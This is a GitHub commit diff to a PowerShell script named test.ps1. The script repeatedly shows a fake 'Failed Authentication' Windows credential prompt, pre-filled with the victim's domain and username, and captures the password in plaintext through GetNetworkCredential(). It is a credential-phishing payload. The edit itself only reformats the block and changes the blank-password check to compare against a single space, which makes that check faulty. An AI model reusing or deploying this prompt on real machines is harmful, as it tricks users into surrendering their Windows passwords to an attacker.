Update test.ps1

This commit is contained in:
I-Am-Jakoby 2023-01-03 20:17:47 -06:00 committed by GitHub
parent ad5f787a55
commit f4e5f1cfac
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -55,14 +55,16 @@ while ($form -eq $null)
{ {
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
if ($cred.Password -eq "") if ($cred.Password -eq " ")
{ {
Write-Output "Credentials cannot be left blank. Please try again." Write-Output "Credentials cannot be left blank. Please try again."
$cred = $null $cred = $null
} }
else{$creds = $cred.GetNetworkCredential() | fl else{
return $creds} $creds = $cred.GetNetworkCredential() | fl
return $creds
}
} }
} }